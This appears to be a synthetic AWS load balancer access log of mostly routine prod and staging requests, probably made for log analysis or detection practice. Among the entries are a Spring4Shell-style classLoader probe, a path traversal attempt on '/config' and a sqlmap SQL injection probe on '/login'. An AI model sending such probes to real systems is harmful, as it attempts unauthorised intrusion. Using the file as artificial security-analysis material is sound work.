"prod-api-alb.example.com" "-" 10 2024-11-01T02:42:53.998109Z "forward" "-" "-" "10.0.164.99:443" "200" "-" "-" +https 2024-11-01T02:42:55.245385Z prod-api-alb 94.104.147.141:14278 10.0.122.142:443 0.022565 0.158160 0.067595 200 200 295 6523 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ddbf-0933e6cc08014f3d8996d132" "prod-api-alb.example.com" "-" 10 2024-11-01T02:42:55.245385Z "forward" "-" "-" "10.0.122.142:443" "200" "-" "-" +https 2024-11-01T02:42:57.216404Z staging-alb 149.61.154.44:31787 7.175.121.71:8080 0.039604 0.659458 0.051910 200 200 459 11392 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ddc1-c1476c82a4de46baafcdc847" "staging-alb.example.com" "-" 5 2024-11-01T02:42:57.216404Z "forward" "-" "-" "7.175.121.71:8080" "200" "-" "-" +https 2024-11-01T02:42:58.369751Z prod-web-alb 55.104.116.181:52878 10.0.140.47:443 0.045424 0.224458 0.033575 200 200 808 4436 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ddc2-938e3b57f1434b299c393e76" "-" "-" 3 2024-11-01T02:42:58.369751Z "forward" "-" "-" "10.0.140.47:443" "200" "-" "-" +https 2024-11-01T02:42:59.184928Z prod-api-alb 203.38.229.53:48431 10.0.24.127:443 0.004623 0.000049 0.086159 200 200 934 7812 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ddc3-0a886462eb21419bb42608e5" "prod-api-alb.example.com" "-" 0 2024-11-01T02:42:59.184928Z "forward" "-" "-" "10.0.24.127:443" "200" "-" "-" +https 2024-11-01T02:43:00.191782Z prod-api-alb 167.244.77.57:63172 10.0.136.195:443 0.090281 0.268990 0.085334 301 301 950 5829 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ddc4-5e93e60ab28244089afca212" "prod-api-alb.example.com" "-" 3 2024-11-01T02:43:00.191782Z "forward" "-" "-" "10.0.136.195:443" "301" "-" "-" +https 2024-11-01T02:43:00.777230Z staging-alb 82.131.232.115:49314 237.152.145.39:80 0.133571 0.723121 0.071710 200 200 790 4865 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ddc4-552f683157374943be9231af" "-" "-" 10 2024-11-01T02:43:00.777230Z "forward" "-" "-" "237.152.145.39:80" "200" "-" "-" +https 2024-11-01T02:43:01.795572Z staging-alb 43.115.153.125:15732 202.70.208.233:443 0.069619 0.446789 0.105964 200 200 117 4232 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ddc5-c935b12886934a5b95bfafe4" "staging-alb.example.com" "-" 6 2024-11-01T02:43:01.795572Z "forward" "-" "-" "202.70.208.233:443" "200" "-" "-" +https 2024-11-01T02:43:02.228508Z prod-api-alb 4.250.223.162:29210 10.0.240.103:443 0.048480 0.101495 0.084442 301 301 681 12973 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ddc6-b3f024268dab4d249d7c13cf" "prod-api-alb.example.com" "-" 2 2024-11-01T02:43:02.228508Z "forward" "-" "-" "10.0.240.103:443" "301" "-" "-" +https 2024-11-01T02:43:03.788711Z prod-api-alb 195.236.22.217:33804 10.0.172.222:443 0.053944 0.087242 0.069090 404 404 222 12536 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ddc7-e553b632ab5343a2a7067c53" "prod-api-alb.example.com" "-" 0 2024-11-01T02:43:03.788711Z "forward" "-" "-" "10.0.172.222:443" "404" "-" "-" +http 2024-11-01T02:43:03.976461Z staging-alb 134.192.147.101:32920 165.146.164.160:443 0.086579 0.637662 0.128778 200 200 864 14387 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ddc7-2105a032052e444f95c9d930" "staging-alb.example.com" "-" 1 2024-11-01T02:43:03.976461Z "forward" "-" "-" "165.146.164.160:443" "200" "-" "-" +https 2024-11-01T02:43:05.941399Z prod-api-alb 36.164.196.130:20887 10.0.254.104:443 0.005928 0.450482 0.089911 200 200 812 12179 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ddc9-1afd01e8db6a497f99cd8d52" "prod-api-alb.example.com" "-" 6 2024-11-01T02:43:05.941399Z "forward" "-" "-" "10.0.254.104:443" "200" "-" "-" +https 2024-11-01T02:43:06.900814Z prod-api-alb 175.220.99.51:52487 10.0.160.41:443 0.088882 0.175200 0.086365 200 200 294 5710 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ddca-6e20da3fe9384c04b13a2e41" "prod-api-alb.example.com" "-" 5 2024-11-01T02:43:06.900814Z "forward" "-" "-" "10.0.160.41:443" "200" "-" "-" +https 2024-11-01T02:43:08.483521Z prod-web-alb 186.250.104.166:55391 10.0.216.193:443 0.067858 0.264402 0.091756 404 404 531 2949 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ddcc-20af76a0f1c1486cb77aba97" "prod-web-alb.example.com" "-" 3 2024-11-01T02:43:08.483521Z "forward" "-" "-" "10.0.216.193:443" "404" "-" "-" +https 2024-11-01T02:43:09.318979Z prod-api-alb 155.197.151.131:51136 10.0.224.155:443 0.041254 0.376438 0.080574 200 200 505 10230 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ddcd-d2470f0c358f4743afe313a3" "prod-api-alb.example.com" "-" 2 2024-11-01T02:43:09.318979Z "forward" "-" "-" "10.0.224.155:443" "200" "-" "-" +https 2024-11-01T02:43:11.162657Z prod-api-alb 103.41.123.54:19682 10.0.220.117:443 0.073096 0.190411 0.004548 200 200 553 1176 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ddcf-c294e9906928400a8a7fa1ed" "prod-api-alb.example.com" "-" 7 2024-11-01T02:43:11.162657Z "forward" "-" "-" "10.0.220.117:443" "200" "-" "-" +http 2024-11-01T02:43:12.086448Z staging-alb 168.206.136.243:27015 14.246.101.17:443 0.110176 0.560023 0.022883 200 200 601 451 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ddd0-118e1eb717974cad8c745387" "staging-alb.example.com" "-" 6 2024-11-01T02:43:12.086448Z "forward" "-" "-" "14.246.101.17:443" "200" "-" "-" +https 2024-11-01T02:43:13.276538Z prod-web-alb 30.109.222.225:55269 10.0.96.217:443 0.058206 0.445093 0.051656 301 301 715 12346 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ddd1-d5f5785078c94f729dcf2ea4" "prod-web-alb.example.com" "-" 4 2024-11-01T02:43:13.276538Z "forward" "-" "-" "10.0.96.217:443" "301" "-" "-" +http 2024-11-01T02:43:13.436262Z staging-alb 91.29.172.33:11848 66.39.176.95:443 0.086304 0.535156 0.009953 200 200 140 10457 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ddd1-f9d105d1eb434973b0f282d5" "staging-alb.example.com" "-" 6 2024-11-01T02:43:13.436262Z "forward" "-" "-" "66.39.176.95:443" "200" "-" "-" +http 2024-11-01T02:43:13.972668Z staging-alb 145.184.87.223:41965 201.81.221.154:443 0.082652 0.275785 0.024987 302 302 957 9135 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ddd1-245c813b9f8745bab0a1e01c" "staging-alb.example.com" "-" 5 2024-11-01T02:43:13.972668Z "forward" "-" "-" "201.81.221.154:443" "302" "-" "-" +https 2024-11-01T02:43:15.173096Z staging-alb 222.133.106.204:63790 101.83.166.239:443 0.097403 0.049480 0.123104 200 200 165 8948 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ddd3-72ea90bf3f524d14b3e991f2" "staging-alb.example.com" "-" 8 2024-11-01T02:43:15.173096Z "forward" "-" "-" "101.83.166.239:443" "200" "-" "-" +https 2024-11-01T02:43:16.678754Z prod-web-alb 193.27.228.186:58419 10.0.194.18:443 0.087564 0.391358 0.003279 403 403 244 6447 "GET /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ddd4-ab6e785e5e9b49a1ac865a90" "-" "-" 0 2024-11-01T02:43:16.678754Z "forward" "-" "-" "10.0.194.18:443" "403" "-" "-" +https 2024-11-01T02:43:18.259857Z prod-api-alb 210.90.63.35:20800 10.0.152.61:443 0.040320 0.164978 0.059979 301 301 140 2303 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ddd6-11128b9c83f04c709b3f13ee" "prod-api-alb.example.com" "-" 0 2024-11-01T02:43:18.259857Z "forward" "-" "-" "10.0.152.61:443" "301" "-" "-" +https 2024-11-01T02:43:18.893121Z staging-alb 112.120.151.240:16818 122.215.96.190:8080 0.070875 0.656334 0.074874 404 404 46 8604 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ddd6-ed47010fff4b4d82adf11169" "staging-alb.example.com" "-" 1 2024-11-01T02:43:18.893121Z "forward" "-" "-" "122.215.96.190:8080" "404" "-" "-" +http 2024-11-01T02:43:20.004687Z staging-alb 47.232.7.138:27881 126.41.112.7:8080 0.126172 0.381643 0.013594 302 302 179 7341 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ddd8-6a211a50428b4250bb63c132" "staging-alb.example.com" "-" 5 2024-11-01T02:43:20.004687Z "forward" "-" "-" "126.41.112.7:8080" "302" "-" "-" +https 2024-11-01T02:43:20.743704Z staging-alb 218.15.196.197:13884 80.184.115.138:8080 0.123013 0.220871 0.049580 200 200 412 5793 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ddd8-5423b3e6cfea4af8b5ffc3f2" "staging-alb.example.com" "-" 8 2024-11-01T02:43:20.743704Z "forward" "-" "-" "80.184.115.138:8080" "200" "-" "-" +https 2024-11-01T02:43:21.954893Z prod-api-alb 214.35.92.97:17452 10.0.100.32:443 0.055386 0.128742 0.040290 200 200 602 8291 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ddd9-1f1f713da707451eae76087e" "prod-api-alb.example.com" "-" 8 2024-11-01T02:43:21.954893Z "forward" "-" "-" "10.0.100.32:443" "200" "-" "-" +https 2024-11-01T02:43:23.662501Z prod-api-alb 35.65.34.218:64317 10.0.38.79:443 0.006853 0.278996 0.038814 200 200 495 4977 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dddb-37307bb71ce745e38115e4ca" "prod-api-alb.example.com" "-" 10 2024-11-01T02:43:23.662501Z "forward" "-" "-" "10.0.38.79:443" "200" "-" "-" +https 2024-11-01T02:43:24.913559Z prod-web-alb 10.195.181.149:60294 10.0.229.224:443 0.086160 0.396051 0.097923 200 200 234 2740 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dddc-48ba27bac6004bdd9f96f3bc" "prod-web-alb.example.com" "-" 1 2024-11-01T02:43:24.913559Z "forward" "-" "-" "10.0.229.224:443" "200" "-" "-" +https 2024-11-01T02:43:25.733740Z prod-web-alb 68.204.165.180:45902 10.0.241.240:443 0.007069 0.241685 0.077849 200 200 291 2500 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dddd-fc0a2dc23a6b4e488fea4d03" "prod-web-alb.example.com" "-" 7 2024-11-01T02:43:25.733740Z "forward" "-" "-" "10.0.241.240:443" "200" "-" "-" +https 2024-11-01T02:43:26.093541Z prod-web-alb 165.255.65.75:40441 10.0.13.224:443 0.039658 0.314168 0.047896 301 301 221 6057 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ddde-b2480db6bf7d4c739923d360" "prod-web-alb.example.com" "-" 4 2024-11-01T02:43:26.093541Z "forward" "-" "-" "10.0.13.224:443" "301" "-" "-" +https 2024-11-01T02:43:26.726060Z staging-alb 15.105.250.132:19396 133.120.18.241:80 0.076081 0.432206 0.015912 301 301 948 1607 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ddde-08c28aac7c2a4f3fab63f23b" "staging-alb.example.com" "-" 7 2024-11-01T02:43:26.726060Z "forward" "-" "-" "133.120.18.241:80" "301" "-" "-" +https 2024-11-01T02:43:27.529080Z staging-alb 163.207.223.188:29763 205.72.225.138:8080 0.112388 0.434947 0.100973 200 200 963 13541 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dddf-1e435c6756314e6a9954cc4b" "staging-alb.example.com" "-" 6 2024-11-01T02:43:27.529080Z "forward" "-" "-" "205.72.225.138:8080" "200" "-" "-" +https 2024-11-01T02:43:29.431944Z staging-alb 172.57.194.141:11874 164.215.252.136:443 0.077595 0.518307 0.022651 301 301 134 1399 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dde1-2d3e441d360d427f85ae7c25" "staging-alb.example.com" "-" 0 2024-11-01T02:43:29.431944Z "forward" "-" "-" "164.215.252.136:443" "301" "-" "-" +https 2024-11-01T02:43:30.672778Z prod-web-alb 180.81.216.252:61920 10.0.98.41:443 0.091247 0.463331 0.046150 200 200 578 12559 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dde2-0fb624e061df4bdcb3da913d" "prod-web-alb.example.com" "-" 7 2024-11-01T02:43:30.672778Z "forward" "-" "-" "10.0.98.41:443" "200" "-" "-" +https 2024-11-01T02:43:32.275228Z prod-api-alb 45.13.20.226:41259 10.0.76.200:443 0.084376 0.329568 0.008342 200 200 900 11891 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dde4-cd375e960ed74f10a373d583" "prod-api-alb.example.com" "-" 5 2024-11-01T02:43:32.275228Z "forward" "-" "-" "10.0.76.200:443" "200" "-" "-" +https 2024-11-01T02:43:32.401177Z staging-alb 67.191.101.181:59255 191.133.218.8:80 0.051581 0.397960 0.024961 200 200 123 9309 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dde4-d74d87d4b9724f868bf9144f" "staging-alb.example.com" "-" 2 2024-11-01T02:43:32.401177Z "forward" "-" "-" "191.133.218.8:80" "200" "-" "-" +http 2024-11-01T02:43:33.514077Z staging-alb 193.27.228.122:46457 181.128.130.49:80 0.034569 0.424614 0.068928 404 404 992 4206 "GET /api/../../../config HTTP/1.1" "" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dde5-9bbd99559d4f4bcb95b1c327" "-" "-" 7 2024-11-01T02:43:33.514077Z "forward" "-" "-" "181.128.130.49:80" "404" "-" "-" +https 2024-11-01T02:43:34.710634Z prod-web-alb 101.73.252.118:38236 10.0.27.231:443 0.046941 0.406718 0.076608 200 200 555 8573 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dde6-bcabbb2866384c69af63589a" "prod-web-alb.example.com" "-" 2 2024-11-01T02:43:34.710634Z "forward" "-" "-" "10.0.27.231:443" "200" "-" "-" +https 2024-11-01T02:43:36.458623Z staging-alb 105.119.250.47:21505 87.157.19.86:443 0.085774 0.029275 0.069083 301 301 117 10038 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dde8-eba3946e44514f48a9b4d3f7" "staging-alb.example.com" "-" 2 2024-11-01T02:43:36.458623Z "forward" "-" "-" "87.157.19.86:443" "301" "-" "-" +http 2024-11-01T02:43:37.925442Z staging-alb 185.181.26.16:23217 244.29.164.121:443 0.082722 0.726665 0.011907 200 200 612 4015 "GET /login?id=1'-- HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dde9-0018d46bc91943b29cb0ed7c" "-" "-" 3 2024-11-01T02:43:37.925442Z "forward" "-" "-" "244.29.164.121:443" "200" "-" "-" +http 2024-11-01T02:43:39.841288Z staging-alb 43.242.18.6:57679 6.108.23.228:443 0.137976 0.541390 0.113463 200 200 109 7946 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ddeb-b1512e941658447392fc2ad3" "staging-alb.example.com" "-" 1 2024-11-01T02:43:39.841288Z "forward" "-" "-" "6.108.23.228:443" "200" "-" "-" +https 2024-11-01T02:43:41.673037Z prod-api-alb 171.114.109.191:46399 10.0.157.170:443 0.059212 0.449019 0.044531 302 302 830 11890 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dded-8a5ddc77d4bf446da23d638b" "prod-api-alb.example.com" "-" 10 2024-11-01T02:43:41.673037Z "forward" "-" "-" "10.0.157.170:443" "302" "-" "-" +https 2024-11-01T02:43:41.794701Z prod-web-alb 10.228.79.178:54576 10.0.136.13:443 0.019762 0.489264 0.059101 404 404 681 9542 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dded-912505d046e74b23906f18b1" "prod-web-alb.example.com" "-" 1 2024-11-01T02:43:41.794701Z "forward" "-" "-" "10.0.136.13:443" "404" "-" "-" +https 2024-11-01T02:43:43.740000Z prod-api-alb 38.182.21.95:44953 10.0.184.110:443 0.018620 0.187237 0.081886 200 200 473 11069 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ddef-ef42eeda72d14ee39b4c0ea4" "prod-api-alb.example.com" "-" 10 2024-11-01T02:43:43.740000Z "forward" "-" "-" "10.0.184.110:443" "200" "-" "-" +http 2024-11-01T02:43:44.371455Z staging-alb 245.99.182.46:19877 128.82.33.160:8080 0.123783 0.189952 0.011018 404 404 896 13585 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ddf0-76fc33d37b0f40fb9df5d42d" "staging-alb.example.com" "-" 6 2024-11-01T02:43:44.371455Z "forward" "-" "-" "128.82.33.160:8080" "404" "-" "-" +https 2024-11-01T02:43:46.087911Z prod-api-alb 177.246.36.85:12599 10.0.44.199:443 0.098455 0.274457 0.061548 302 302 505 4586 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ddf2-f7add4f82a724ee5b53c75c0" "prod-api-alb.example.com" "-" 10 2024-11-01T02:43:46.087911Z "forward" "-" "-" "10.0.44.199:443" "302" "-" "-" +https 2024-11-01T02:43:47.174103Z staging-alb 41.20.151.166:42464 230.165.238.28:443 0.115932 0.207032 0.080178 200 200 404 6687 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ddf3-bbe4dd5a3b5d42e09b35d422" "staging-alb.example.com" "-" 9 2024-11-01T02:43:47.174103Z "forward" "-" "-" "230.165.238.28:443" "200" "-" "-" +https 2024-11-01T02:43:49.076150Z prod-web-alb 10.56.165.137:63966 10.0.94.80:443 0.009041 0.371365 0.015237 302 302 226 3056 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 